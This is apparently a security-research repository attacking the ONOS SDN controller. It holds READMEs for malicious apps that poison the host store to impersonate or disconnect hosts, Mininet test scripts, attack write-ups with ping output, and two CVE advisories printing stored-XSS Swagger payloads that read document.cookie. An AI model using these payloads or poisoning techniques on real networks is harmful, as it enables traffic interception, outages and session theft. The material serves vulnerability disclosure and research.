17 | make compile
18 | ```
19 |
20 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS:
21 |
22 | ```console
23 | make install
24 | ```
25 |
26 | Search for .oar files
27 |
28 | ```console
29 | make oar
30 | ```
31 |
32 | Start ONOS locally
33 |
34 | ```console
35 | bazel run onos-local
36 | ```
37 |
38 | Install the application
39 |
40 | ```console
41 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/impersonation-host-tracking-app/target/onos-impersonationhosttracking-2.0.0-SNAPSHOT.oar
42 | ```
43 |
--------------------------------------------------------------------------------
/mininet/capped-2h1s.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from mininet.topo import Topo
4 | from mininet.net import Mininet
5 | from mininet.node import CPULimitedHost
6 | from mininet.link import TCLink
7 | from mininet.util import dumpNodeConnections
8 | from mininet.log import setLogLevel
9 | import time
10 |
11 | class SingleSwitchTopo( Topo ):
12 | "Single switch connected to n hosts."
13 | def build( self, n=2 ):
14 | switch = self.addSwitch( 's1' )
15 | for h in range(n):
16 | # Each host gets 50%/n of system CPU
17 | host = self.addHost( 'h%s' % (h + 1), cpu=.5/n )
18 | # 10 Mbps, 5ms delay, 2% loss, 1000 packet queue
19 | self.addLink( host, switch, bw=10, delay='5ms', loss=2, max_queue_size=1000, use_htb=True )
20 |
21 | def perfTest():
22 | "Create network and run simple performance test"
23 | topo = SingleSwitchTopo( n=4 )
24 | net = Mininet( topo=topo, host=CPULimitedHost, link=TCLink )
25 | net.start()
26 | print( "Dumping host connections" )
27 | dumpNodeConnections( net.hosts )
28 | print( "Sleeping for ten seconds..." )
29 | time.sleep(10)
30 | print( "Testing network connectivity" )
31 | net.pingAll()
32 | print( "Testing bandwidth between h1 and h4" )
33 | h1, h4 = net.get( 'h1', 'h4' )
34 | net.iperf( (h1, h4) )
35 | net.stop()
36 |
37 | if __name__ == '__main__':
38 | setLogLevel( 'info' )
39 | perfTest()
40 |
--------------------------------------------------------------------------------
/apps/xssdevice-app/README.md:
--------------------------------------------------------------------------------
1 | # XSS Device Application
2 |
3 | This application exploits [CVE-2017-1000078](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000078) in ONOS 1.9.0 ([docker image](https://hub.docker.com/layers/onosproject/onos/1.9.0/images/sha256-15736a6740918e9dd7df2dd1287ee52e22be5ad45ba8b6c4400afeca9a66ff51)).
4 | This is an importat Proof of Concept because it's the first Cross App Poisoning attack targeting Web resources; before it was only about network related attacks.
5 | This application overwrites some information of an existing device with HTML/JS payload resulting in a stored XSS attack.
6 |
7 | How to use
8 | -----
9 |
10 | Setup data plane with Mininet (use your ONOS IP address):
11 |
12 | ```console
13 | sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13
14 | ```
15 |
16 | Compile and check for errors:
17 |
18 | ```console
19 | make compile
20 | ```
21 |
22 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS:
23 |
24 | ```console
25 | make install
26 | ```
27 |
28 | Search for .oar files
29 |
30 | ```console
31 | make oar
32 | ```
33 |
34 | Start ONOS locally
35 |
36 | ```console
37 | bazel run onos-local
38 | ```
39 |
40 | Install the application
41 |
42 | ```console
43 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/xssdevice-app/target/onos-xssdevice-2.0.0-SNAPSHOT.oar
44 | ```
45 |
--------------------------------------------------------------------------------
/mininet/1snh.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from mininet.topo import Topo
4 | from mininet.net import Mininet
5 | from mininet.util import dumpNodeConnections
6 | from mininet.log import setLogLevel
7 | from mininet.cli import CLI
8 | import time
9 | import sys
10 |
11 | class SingleSwitchTopo(Topo):
12 | "Single switch connected to n hosts."
13 | def build(self, n=2):
14 | switch = self.addSwitch('s1')
15 | # Python's range(N) generates 0..N-1
16 | for h in range(n):
17 | host = self.addHost('h%s' % (h + 1))
18 | self.addLink(host, switch)
19 |
20 | def read_input():
21 | if len(sys.argv) != 2:
22 | print("usage: python {} n; where n is the number of hosts.".format(sys.argv[0]))
23 | sys.exit(1)
24 | return int(sys.argv[1])
25 |
26 | def start(input):
27 | topo = SingleSwitchTopo(n=input)
28 | net = Mininet(topo)
29 | net.start()
30 | return net
31 |
32 | def simpleTest(net):
33 | print( "Dumping host connections" )
34 | dumpNodeConnections(net.hosts)
35 | print( "Testing network connectivity" )
36 | net.pingAll()
37 |
38 | def stop(net):
39 | net.stop()
40 |
41 | if __name__ == '__main__':
42 | # Tell mininet to print useful information
43 | setLogLevel('info')
44 | n = read_input()
45 | net = start(n)
46 | print("Sleeping for five seconds...")
47 | time.sleep(5)
48 | simpleTest(net)
49 | net.run(CLI, net)
50 |
--------------------------------------------------------------------------------
/apps/README.md:
--------------------------------------------------------------------------------
1 | ### Offensive ONOS Applications
2 |
3 | - [impersonation-host-tracking-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/impersonation-host-tracking-app): Impersonate legitimate hosts poisoning the host store with fake locations.
4 | - [locationrouting-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/locationrouting-app): (WIP) Delete flow rules of hosts changing locations.
5 | - [mal-host-tracking-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/mal-host-tracking-app): Disconnect hosts poisoning the host store with fake locations.
6 | - [xssdevice-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/xssdevice-app): Deliver XSS payload using a CAP attack.
7 | - [store-dumper-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/store-dumper-app): Dump data stores content.
8 | - [linkevent-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/linkevent-app): Generate Down Link events for malicious purposes.
9 | - [topoedit-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/topoedit-app): Messing up with the current network topology.
10 | - [dhcpipsat-app](https://github.com/edoardottt/offensive-onos/tree/main/apps/dhcpipsat-app): DHCP Server vulnerable to IP Saturation (via CAP attack).
11 | - [ipsaturation-app](https://github.com/edoardottt/offensive-onos/tree/main/apps/ipsaturation-app): Malicious IP Saturation Application for vulnerable DHCP Server.
12 | - [trash](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/trash): Some less important tests that haven't led to any useful result.
13 |
--------------------------------------------------------------------------------
/mininet/impersonation-test.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from mininet.topo import Topo
4 | from mininet.net import Mininet
5 | from mininet.util import dumpNodeConnections
6 | from mininet.log import setLogLevel
7 | from mininet.cli import CLI
8 | import time
9 | import sys
10 |
11 | class SingleSwitchTopo(Topo):
12 | "Single switch connected to n hosts."
13 | def build(self, n=4):
14 | switch1 = self.addSwitch('s1')
15 | h1 = self.addHost('h1')
16 | self.addLink(switch1, h1)
17 | switch2 = self.addSwitch('s2')
18 | # Python's range(N) generates 0..N-1
19 | for h in range(1, n):
20 | host = self.addHost('h%s' % (h + 1))
21 | self.addLink(host, switch2)
22 |
23 | def read_input():
24 | if len(sys.argv) != 3:
25 | print("usage: python {} n remote-ip; where n is the number of hosts and remote-ip the IP of ONOS".format(sys.argv[0]))
26 | sys.exit(1)
27 | return int(sys.argv[1])
28 |
29 | def start(input):
30 | topo = SingleSwitchTopo(n=input)
31 | net = Mininet(topo)
32 | c0 = RemoteController('c0', ip=sys.argv[2], port=6633 )
33 | net.addController(c0)
34 | net.start()
35 | return net
36 |
37 | def simpleTest(net):
38 | print( "Dumping host connections" )
39 | dumpNodeConnections(net.hosts)
40 | print( "Testing network connectivity" )
41 | net.pingAll()
42 |
43 | def stop(net):
44 | net.stop()
45 |
46 | if __name__ == '__main__':
47 | # Tell mininet to print useful information
48 | setLogLevel('info')
49 | n = read_input()
50 | net = start(n)
51 | print("Sleeping for five seconds...")
52 | time.sleep(5)
53 | simpleTest(net)
54 | net.run(CLI, net)
55 |
--------------------------------------------------------------------------------
/tests/disconnection/README.md:
--------------------------------------------------------------------------------
1 | # Disconnection attack test
2 |
3 |
4 |
5 |
6 |
7 | How the attack works
8 | ----
9 |
10 | First of all, the network is composed as the figure shows: every host can reach other hosts and the test pingall in Mininet passes with 100% success rate.
11 |
12 | ```
13 | mininet> pingall
14 | *** Ping: testing ping reachbility
15 | h1 -> h2 h3 h4
16 | h2 -> h1 h3 h4
17 | h3 -> h2 h3 h4
18 | h4 -> h1 h2 h3
19 | *** Results: 0% dropped (12/12 received)
20 | ```
21 |
22 | Then, the malicious application [mal-host-tracking-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/mal-host-tracking-app) is installed and activated in ONOS. When activated, it starts immediately poisoning the Host Data Store:
23 |
24 | - It finds the location of host H1 and H3
25 | - Insert the location of H1 in the array of locations of H3 and viceversa
26 | - Delete old locations of H1 and H3
27 |
28 | At the end of the attack, hosts H1 and H3 will have locations inverted (H1 connected to S2 and H3 connected to S1).
29 |
30 | Now if we perform a connection test we can observe this result:
31 |
32 | ```
33 | mininet> pingall
34 | *** Ping: testing ping reachbility
35 | h1 -> h2 X h4
36 | h2 -> h1 X h4
37 | h3 -> h2 X h4
38 | h4 -> h1 h2 h3
39 | *** Results: 25% dropped (9/12 received)
40 | ```
41 |
42 | This is what is happened:
43 |
44 | - When H1 tries to ping H2 (so the exact first ICMP request), it actually sends the ICMP echo packet; the Host Location Provider is active and so it writes the right location of H1 in the Host Data Store.
45 | - Now H1 can ping normally H2 and H4, but not H3 because the reactive forwarding app is installing flow rules for the wrong location.
46 | - H3 will be connected again to the network when it sends a packet containing its IP or MAC address (IP / ARP).
47 |
--------------------------------------------------------------------------------
/mininet/nsnh.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from mininet.topo import Topo
4 | from mininet.net import Mininet
5 | from mininet.util import dumpNodeConnections
6 | from mininet.log import setLogLevel
7 | from mininet.cli import CLI
8 | import time
9 | import sys
10 |
11 | class SingleSwitchTopo(Topo):
12 | "Single switch connected to n hosts."
13 | def build(self, ns=1, nh=2):
14 | hcounter = 0
15 | switches = []
16 | for s in range(ns):
17 | switch = self.addSwitch('s%s' % (s + 1))
18 | switches.append(switch)
19 | hcounter+=1
20 | for h in range(nh):
21 | host = self.addHost('h%s' % (hcounter + h))
22 | self.addLink(host, switch)
23 | hcounter+=1
24 | for i in range(len(switches)-1):
25 | self.addLink(switches[i],switches[i+1])
26 |
27 | def read_input():
28 | if len(sys.argv) != 3:
29 | print("usage: python {} ns nh;\n\twhere ns is the number of switches\n\tand nh the number of hosts.".format(sys.argv[0]))
30 | sys.exit(1)
31 | return (int(sys.argv[1]),int(sys.argv[2]))
32 |
33 | def start(ns,nh):
34 | topo = SingleSwitchTopo(ns=ns,nh=nh)
35 | net = Mininet(topo)
36 | net.start()
37 | return net
38 |
39 | def simpleTest(net):
40 | print( "Dumping host connections" )
41 | dumpNodeConnections(net.hosts)
42 | print( "Testing network connectivity" )
43 | net.pingAll()
44 |
45 | def stop(net):
46 | net.stop()
47 |
48 | if __name__ == '__main__':
49 | # Tell mininet to print useful information
50 | setLogLevel('info')
51 | ns,nh = read_input()
52 | net = start(ns,nh)
53 | print("Sleeping for five seconds...")
54 | time.sleep(5)
55 | simpleTest(net)
56 | net.run(CLI, net)
57 |
--------------------------------------------------------------------------------
/tests/impersonation/README.md:
--------------------------------------------------------------------------------
1 | # Impersonation attack test
2 |
3 |
4 |
5 |
6 |
7 | How the attack works
8 | ----
9 |
10 | First of all, the network is composed as the figure shows: every host can reach other hosts and the test `pingall` in Mininet passes with 100% success rate.
11 |
12 | ```
13 | mininet> pingall
14 | *** Ping: testing ping reachbility
15 | h1 -> h2 h3 h4
16 | h2 -> h1 h3 h4
17 | h3 -> h2 h3 h4
18 | h4 -> h1 h2 h3
19 | *** Results: 0% dropped (12/12 received)
20 | ```
21 |
22 | Then, the malicious application [impersonation-host-tracking-app](https://github.com/edoardottt/offensive-onos-apps/tree/main/apps/impersonation-host-tracking-app) is installed and activated in ONOS. When activated, it starts immediately poisoning the Host Data Store:
23 |
24 | - It finds the location of host H2
25 | - Put the location of H2 in the array of locations of H3 and H4
26 | - Delete old locations of H3 and H4
27 |
28 | At the end of the attack, hosts H2, H3 and H4 will have the exact same location (the one highlighted in red, the starting one of H2).
29 | Now we just need to execute:
30 |
31 | - `h2 tcpdump > impersonation-h2.pcap &`
32 | - `h4 tcpdump > impersonation-h4.pcap &`
33 | - `h1 ping h4`
34 |
35 | We can observe that in the file impersonation-h2.pcap H2 will receive ICMP echo requests from H1, meaning that attack succeeded. H2 then can impersonate H4 sending ICMP echo replies back to H1.
36 | Instead, if we observe impersonation-h4.pcap, we can notice that H4 never receives ICMP echo requests from H1.
37 |
38 | > **Note**
39 | > This attack is successful because there are no flow rules installed in the switches (due to cache timeout) ruling the flows between H1 and H4. So, when a switch gets a flow rule table miss it will ask directly to the ONOS controller where the packer should go and the controller will reply installing flow rules based on H4 location (but now it is the fake one!).
40 |
--------------------------------------------------------------------------------
/onos-dm/out/predict2.out:
--------------------------------------------------------------------------------
1 | K = 3
2 |
3 |
4 | Start time: 16:19:45
5 | ----------- Training data -----------
6 | Read 1000/1000 lines
7 | Model score: 0.975
8 | Model confusion matrix:
9 | [[520 23]
10 | [ 2 455]]
11 | ----------- Test data -----------
12 | Read 200/200 lines
13 | Model score: 0.98
14 | Model confusion matrix:
15 | [[105 4]
16 | [ 0 91]]
17 | End time: 16:19:45
18 | Time difference is 0.0 seconds
19 |
20 |
21 |
22 |
23 | Start time: 16:20:21
24 | ----------- Training data -----------
25 | Read 5000/5000 lines
26 | Model score: 0.9772
27 | Model confusion matrix:
28 | [[2592 101]
29 | [ 13 2294]]
30 | ----------- Test data -----------
31 | Read 1000/1000 lines
32 | Model score: 0.962
33 | Model confusion matrix:
34 | [[515 32]
35 | [ 6 447]]
36 | End time: 16:20:22
37 | Time difference is 1.0 seconds
38 |
39 |
40 |
41 |
42 | Start time: 16:20:50
43 | ----------- Training data -----------
44 | Read 20000/20000 lines
45 | Model score: 0.9803
46 | Model confusion matrix:
47 | [[10458 367]
48 | [ 27 9148]]
49 | ----------- Test data -----------
50 | Read 4000/4000 lines
51 | Model score: 0.967
52 | Model confusion matrix:
53 | [[2116 118]
54 | [ 14 1752]]
55 | End time: 16:20:54
56 | Time difference is 4.0 seconds
57 |
58 |
59 |
60 |
61 | Start time: 16:21:24
62 | Read 100000/100000 lines
63 | ----------- Training data -----------
64 | Model score: 0.98535
65 | Model confusion matrix:
66 | [[52702 1283]
67 | [ 182 45833]]
68 | ----------- Test data -----------
69 | Read 20000/20000 lines
70 | Model score: 0.97445
71 | Model confusion matrix:
72 | [[10382 419]
73 | [ 92 9107]]
74 | End time: 16:25:07
75 | Time difference is 223.0 seconds
76 |
77 |
78 |
79 |
80 | Start time: 16:25:59
81 | ----------- Training data -----------
82 | Read 200000/200000 lines
83 | Model score: 0.987855
84 | Model confusion matrix:
85 | [[105765 2121]
86 | [ 308 91806]]
87 | ----------- Test data -----------
88 | Read 40000/40000 lines
89 | Model score: 0.975075
90 | Model confusion matrix:
91 | [[20758 816]
92 | [ 181 18245]]
93 | End time: 16:45:58
94 | Time difference is 1199.0 seconds
--------------------------------------------------------------------------------
/tests/impersonation/impersonation-h4.pcap:
--------------------------------------------------------------------------------
1 | 02:40:42.596077 LLDP, length 125
2 | 02:40:42.596088 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139:
3 | 0x0000: 0207 0400 0000 0000 0204 0202 3406 0200 ............4...
4 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc
5 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00
6 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002..
7 | 0x0040: a423 0504 0000 0185 bf51 1e5c fe24 a423 .#.......Q.\.$.#
8 | 0x0050: 0505 5da8 cbd5 5265 0fcf c093 a3d2 4209 ..]...Re......B.
9 | 0x0060: 0d75 20b6 7af4 274b db63 bbed c38c 336c .u..z.'K.c....3l
10 | 0x0070: f794 0807 7332 2d65 7468 3400 00 ....s2-eth4..
11 | 02:40:45.695552 LLDP, length 125
12 | 02:40:45.695560 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139:
13 | 0x0000: 0207 0400 0000 0000 0204 0202 3406 0200 ............4...
14 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc
15 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00
16 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002..
17 | 0x0040: a423 0504 0000 0185 bf51 2a77 fe24 a423 .#.......Q*w.$.#
18 | 0x0050: 0505 0801 76c8 2c95 478d f3d5 fc13 d7d8 ....v.,.G.......
19 | 0x0060: 9fde 750d e350 fa1a fc13 f4f5 e0e3 c874 ..u..P.........t
20 | 0x0070: 4aab 0807 7332 2d65 7468 3400 00 J...s2-eth4..
21 | 02:40:48.796554 LLDP, length 125
22 | 02:40:48.796567 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139:
23 | 0x0000: 0207 0400 0000 0000 0204 0202 3406 0200 ............4...
24 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc
25 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00
26 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002..
27 | 0x0040: a423 0504 0000 0185 bf51 3694 fe24 a423 .#.......Q6..$.#
28 | 0x0050: 0505 3070 fb7a 7ed6 efc7 c086 4882 45a1 ..0p.z~.....H.E.
29 | 0x0060: c3a3 498a c031 4d96 f36b 7e24 8b38 777f ..I..1M..k~$.8w.
30 | 0x0070: 8129 0807 7332 2d65 7468 3400 00 .)..s2-eth4..
31 |
--------------------------------------------------------------------------------
/CVE-2023-24279/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2023-24279
2 |
3 | Description
4 | ------
5 |
6 | A cross-site scripting (XSS) vulnerability in Open Networking Foundation ONOS from version v1.9.0 to v2.7.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the url parameter of the API documentation dashboard.
7 |
8 | PoC
9 | ------
10 |
11 | PoC for CVE-2023-24279: [@edoardottt Youtube video](https://www.youtube.com/watch?v=1mSXzzwcGMM)
12 |
13 | Vulnerable endpoint:
14 |
15 | Payload:
16 |
17 | ```json
18 | {
19 | "swagger" : "2.0",
20 | "info" : {
21 | "version" : "1.0.100",
22 | "title" : "Swagger UI v2.2.10 XSS POC",
23 | "description" : "Swagger UI v2.2.10 XSS POC",
24 | "contact" : {
25 | "name" : "edoardottt",
26 | "url" : "javascript:alert(document.cookie)",
27 | "email" : "edoardott@gmail.com"
28 | },
29 | },
30 | }
31 | ```
32 |
33 | PoC URL ready to be delivered:
34 |
35 | References
36 | ------
37 |
38 | -
39 | -
40 | -
41 | -
42 | -
43 | -
44 | -
45 | -
46 | -
47 |
48 |
49 |
50 | Useful links while researching for this CVE:
51 |
52 | -
53 | -
54 | -
55 | -
56 | -
57 | -
58 | -
59 |
--------------------------------------------------------------------------------
/CVE-2023-30093/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2023-30093
2 |
3 | Description
4 | ------
5 |
6 | A cross-site scripting (XSS) vulnerability in Open Networking Foundation ONOS from version v1.9.0 to v2.7.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the url parameter of the API documentation dashboard.
7 |
8 | PoC
9 | ------
10 |
11 | PoC for CVE-2023-30093: [@edoardottt Youtube video](https://www.youtube.com/watch?v=jZr2JhDd_S8)
12 |
13 | Vulnerable endpoint:
14 |
15 | Payload:
16 |
17 | ```yaml
18 | swagger: "2.0"
19 | info:
20 | title: edoardottt XSS
21 | description: XSS ONOS POC
22 | version: 1.0.0
23 | host: edoardottt.com
24 | basePath: /v1
25 | schemes:
26 | - https
27 |
28 | securityDefinitions:
29 | OAuth2:
30 | type: oauth2
31 | flow: accessCode
32 | authorizationUrl: javascript:alert(document.cookie)//
33 | tokenUrl: https://example.com/oauth/token
34 | scopes:
35 | read: Grants read access
36 | write: Grants write access
37 | admin: Grants read and write access to administrative information
38 | ```
39 |
40 | PoC URL ready to be delivered:
41 |
42 | References
43 | ------
44 |
45 | -
46 | -
47 | -
48 | -
49 | -
50 | -
51 | -
52 | -
53 | -
54 |
55 |
56 |
57 | Useful links while researching for this CVE:
58 |
59 | -
60 | -
61 | -
62 | -
63 | -
64 | -
65 | -
66 |
--------------------------------------------------------------------------------
/tests/mininet/test1.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from mininet.topo import Topo
4 | from mininet.net import Mininet
5 | from mininet.node import RemoteController
6 | from mininet.util import dumpNodeConnections
7 | from mininet.log import setLogLevel
8 | from mininet.cli import CLI
9 | import time
10 | import sys
11 |
12 | class SingleSwitchTopo(Topo):
13 | "Single switch connected to n hosts."
14 | def build(self, n=4):
15 | switch1 = self.addSwitch('s1')
16 | h1 = self.addHost('h1')
17 | self.addLink(switch1, h1)
18 | switch2 = self.addSwitch('s2')
19 | h2 = self.addHost('h2')
20 | self.addLink(switch2, h2)
21 | switch3 = self.addSwitch('s3')
22 | h3 = self.addHost('h3')
23 | self.addLink(switch3, h3)
24 | switch4 = self.addSwitch('s4')
25 | h4 = self.addHost('h4')
26 | self.addLink(switch4, h4)
27 |
28 | def read_input():
29 | if len(sys.argv) != 3:
30 | print("usage: python {} n remote-ip; where n is the number of hosts and remote-ip the IP of ONOS".format(sys.argv[0]))
31 | sys.exit(1)
32 | return int(sys.argv[1])
33 |
34 | def start(input):
35 | topo = SingleSwitchTopo(n=input)
36 | net = Mininet(topo)
37 | c0 = RemoteController('c0', ip=sys.argv[2], port=6653 )
38 | net.addController(c0)
39 | net.start()
40 | return net
41 |
42 | def simpleTest(net):
43 | print( "Dumping host connections" )
44 | dumpNodeConnections(net.hosts)
45 | print( "Testing network connectivity" )
46 | net.pingAll()
47 |
48 | def connTest(net):
49 | print( "Testing host connections" )
50 | while True:
51 | net.addHost('h5')
52 | s4 = net.get('s4')
53 | net.addLink(s4, net.get('h5'))
54 | s4.attach('s4-eth3')
55 | net.get('h5').cmd('ifconfig h5-eth0 10.0.0.5')
56 |
57 | # pingall
58 | net.get('h5').cmd('ping -c 1 10.0.0.1')
59 | net.get('h5').cmd('ping -c 1 10.0.0.2')
60 | net.get('h5').cmd('ping -c 1 10.0.0.3')
61 | net.get('h5').cmd('ping -c 1 10.0.0.4')
62 |
63 | # delete host
64 | net.delHost(net.get('h5'))
65 |
66 |
67 | def stop(net):
68 | net.stop()
69 |
70 | if __name__ == '__main__':
71 | # Tell mininet to print useful information
72 | setLogLevel('info')
73 | n = read_input()
74 | net = start(n)
75 | print("Sleeping for five seconds...")
76 | time.sleep(5)
77 | simpleTest(net)
78 | connTest(net)
79 | net.run(CLI, net)
80 |
--------------------------------------------------------------------------------
/apps/linkevent-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-linkevent
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | Test sample application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.linkevent
36 | edoardottt
37 | linkevent App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/trash/xss-group-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-xssgroup
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | XSS group application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.xssgroup
36 | edoardottt
37 | xssgroup App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/dhcpipsat-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-dhcpipsat
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | Test sample application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.dhcpipsat
36 | edoardottt
37 | DhcpIpSaturation App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/ipsaturation-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-ipsaturation
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | Test sample application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.ipsaturation
36 | edoardottt
37 | IpSaturation App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/locationrouting-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-locationrouting
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | Test sample application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.locationrouting
36 | edoardottt
37 | locationrouting App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/trash/xsspreferences-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-xsspreferences
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | XSS preferences POC application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.xsspreferences
36 | edoardottt
37 | xsspreferences App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/mal-host-tracking-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-malhosttracking
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | Malicious Host Tracking application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.malhosttracking
36 | edoardottt
37 | malhosttracking App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/trash/eventhosttracking-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-eventhosttracking
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | Test sample application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.eventhosttracking
36 | edoardottt
37 | eventhosttracking App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
